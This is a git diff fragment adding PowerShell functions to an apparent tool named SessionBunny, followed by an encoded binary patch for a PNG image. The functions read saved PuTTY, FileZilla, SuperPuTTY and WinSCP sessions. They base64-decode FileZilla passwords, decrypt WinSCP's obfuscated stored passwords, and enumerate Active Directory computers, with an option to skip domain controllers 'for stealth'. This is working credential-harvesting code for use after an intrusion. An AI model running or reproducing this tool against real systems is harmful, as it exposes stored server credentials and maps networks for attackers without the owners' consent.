NoteProperty -Name "PPK Files" -Value $ArrayOfPPKFiles + + if ($OutCSV) { + $ArrayOfPPKFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation + } else { + Write-Output "PuTTY Private Key Files (.ppk)" + $ArrayOfPPKFiles | Select-Object * | Format-List | Out-String + } + + } + +} # Process PPK File + +function ProcessFileZillaFile($FileZillaXML) { + + # Locate all nodes (aka session nodes), iterate over them + foreach($FileZillaSession in $FileZillaXML.SelectNodes('//FileZilla3/Servers/Server')) { + # Hashtable to store each session's data + $FileZillaSessionHash = @{} + + # Iterates over each child node under (aka session) + $FileZillaSession.ChildNodes | ForEach-Object { + + $FileZillaSessionHash["Source"] = $Source + # If value exists, make a key-value pair for it in the hash table + if ($_.InnerText) { + if ($_.Name -eq "Pass") { + $FileZillaSessionHash["Password"] = $_.InnerText + } else { + # Populate session data based on the node name + $FileZillaSessionHash[$_.Name] = $_.InnerText + } + + } + + } + + # Create object from collected data, excluding some trivial information + [void]$ArrayOfFileZillaSessions.Add((New-Object PSObject -Property $FileZillaSessionHash | Select-Object -Property * -ExcludeProperty "#text",LogonType,Type,BypassProxy,SyncBrowsing,PasvMode,DirectoryComparison,MaximumMultipleConnections,EncodingType,TimezoneOffset,Colour)) + + } # ForEach FileZillaSession in FileZillaXML.SelectNodes() + + # base64_decode the stored encoded session passwords, and decode protocol + foreach ($Session in $ArrayOfFileZillaSessions) { + $Session.Password = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($Session.Password)) + if ($Session.Protocol -eq "0") { + $Session.Protocol = "Use FTP over TLS if available" + } elseif ($Session.Protocol -eq 1) { + $Session.Protocol = "Use SFTP" + } elseif ($Session.Protocol -eq 3) { + $Session.Protocol = "Require implicit FTP over TLS" + } elseif ($Session.Protocol -eq 4) { + $Session.Protocol = "Require explicit FTP over TLS" + } elseif ($Session.Protocol -eq 6) { + $Session.Protocol = "Only use plain FTP (insecure)" + } + } + + if ($OutCSV) { + $ArrayOfFileZillaSessions | Export-CSV -Append -Path ($OutputDirectory + "\FileZilla.csv") -NoTypeInformation + } else { + Write-Output "FileZilla Sessions" + $ArrayOfFileZillaSessions | Format-List | Out-String + } + + # Add the array of FileZilla session objects to the target user object + $UserObject | Add-Member -MemberType NoteProperty -Name "FileZilla Sessions" -Value $ArrayOfFileZillaSessions + +} # ProcessFileZillaFile + +function ProcessSuperPuTTYFile($SuperPuTTYXML) { + + foreach($SuperPuTTYSessions in $SuperPuTTYXML.ArrayOfSessionData.SessionData) { + + foreach ($SuperPuTTYSession in $SuperPuTTYSessions) { + if ($SuperPuTTYSession -ne $null) { + + $SuperPuTTYSessionObject = "" | Select-Object -Property "Source","SessionId","SessionName","Host","Username","ExtraArgs","Port","Putty Session" + + $SuperPuTTYSessionObject."Source" = $Source + $SuperPuTTYSessionObject."SessionId" = $SuperPuTTYSession.SessionId + $SuperPuTTYSessionObject."SessionName" = $SuperPuTTYSession.SessionName + $SuperPuTTYSessionObject."Host" = $SuperPuTTYSession.Host + $SuperPuTTYSessionObject."Username" = $SuperPuTTYSession.Username + $SuperPuTTYSessionObject."ExtraArgs" = $SuperPuTTYSession.ExtraArgs + $SuperPuTTYSessionObject."Port" = $SuperPuTTYSession.Port + $SuperPuTTYSessionObject."PuTTY Session" = $SuperPuTTYSession.PuttySession + + [void]$ArrayOfSuperPuTTYSessions.Add($SuperPuTTYSessionObject) + } + } + + } # ForEach SuperPuTTYSessions + + if ($OutCSV) { + $ArrayOfSuperPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\SuperPuTTY.csv") -NoTypeInformation + } else { + Write-Output "SuperPuTTY Sessions" + $ArrayOfSuperPuTTYSessions | Out-String + } + + # Add the array of SuperPuTTY session objects to the target user object + $UserObject | Add-Member -MemberType NoteProperty -Name "SuperPuTTY Sessions" -Value $ArrayOfSuperPuTTYSessions + +} # ProcessSuperPuTTYFile + +#################################################################################### +#################################################################################### +## WinSCP Deobfuscation Helper Functions +#################################################################################### +#################################################################################### + +# Gets all domain-joined computer names and properties in one object +function GetComputersFromActiveDirectory { + + $objDomain = New-Object System.DirectoryServices.DirectoryEntry + $objSearcher = New-Object System.DirectoryServices.DirectorySearcher + $objSearcher.SearchRoot = $objDomain + if ($ExcludeDC) { + Write-Verbose "Skipping enumeration against the Domain Controller(s) for stealth." + $Filter = "(&(objectCategory=computer)(!userAccountControl:1.2.840.113556.1.4.803:=8192))" + } else { + $Filter = "(objectCategory=computer)" + } + + $objSearcher.Filter = $Filter + + $colProplist = "name" + + foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)} + + $objSearcher.FindAll() + +} + +function DecryptNextCharacterWinSCP($remainingPass) { + + # Creates an object with flag and remainingPass properties + $flagAndPass = "" | Select-Object -Property flag,remainingPass + + # Shift left 4 bits equivalent for backwards compatibility with older PowerShell versions + $firstval = ("0123456789ABCDEF".indexOf($remainingPass[0]) * 16) + $secondval = "0123456789ABCDEF".indexOf($remainingPass[1]) + + $Added = $firstval + $secondval + + $decryptedResult = (((-bnot ($Added -bxor $Magic)) % 256) + 256) % 256 + + $flagAndPass.flag = $decryptedResult + $flagAndPass.remainingPass = $remainingPass.Substring(2) + + $flagAndPass + +} + +function DecryptWinSCPPassword($SessionHostname, $SessionUsername, $Password) { + + $CheckFlag = 255 + $Magic = 163 + + $len = 0 + $key = $SessionHostname + $SessionUsername + $values = DecryptNextCharacterWinSCP($Password) + + $storedFlag = $values.flag + + if ($values.flag -eq $CheckFlag) { + $values.remainingPass = $values.remainingPass.Substring(2) + $values = DecryptNextCharacterWinSCP($values.remainingPass) + } + + $len = $values.flag + + $values = DecryptNextCharacterWinSCP($values.remainingPass) + $values.remainingPass = $values.remainingPass.Substring(($values.flag * 2)) + + $finalOutput = "" + for ($i=0; $i -lt $len; $i++) { + $values = (DecryptNextCharacterWinSCP($values.remainingPass)) + $finalOutput += [char]$values.flag + } + + if ($storedFlag -eq $CheckFlag) { + $finalOutput.Substring($key.length) + } + + $finalOutput +} \ No newline at end of file diff --git a/SessionBunny/censorepic.png b/SessionBunny/censorepic.png new file mode 100644 index 0000000000000000000000000000000000000000..fedc54fdbd2ab89215404c2e554f6a236039d92d GIT binary patch literal 52557 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 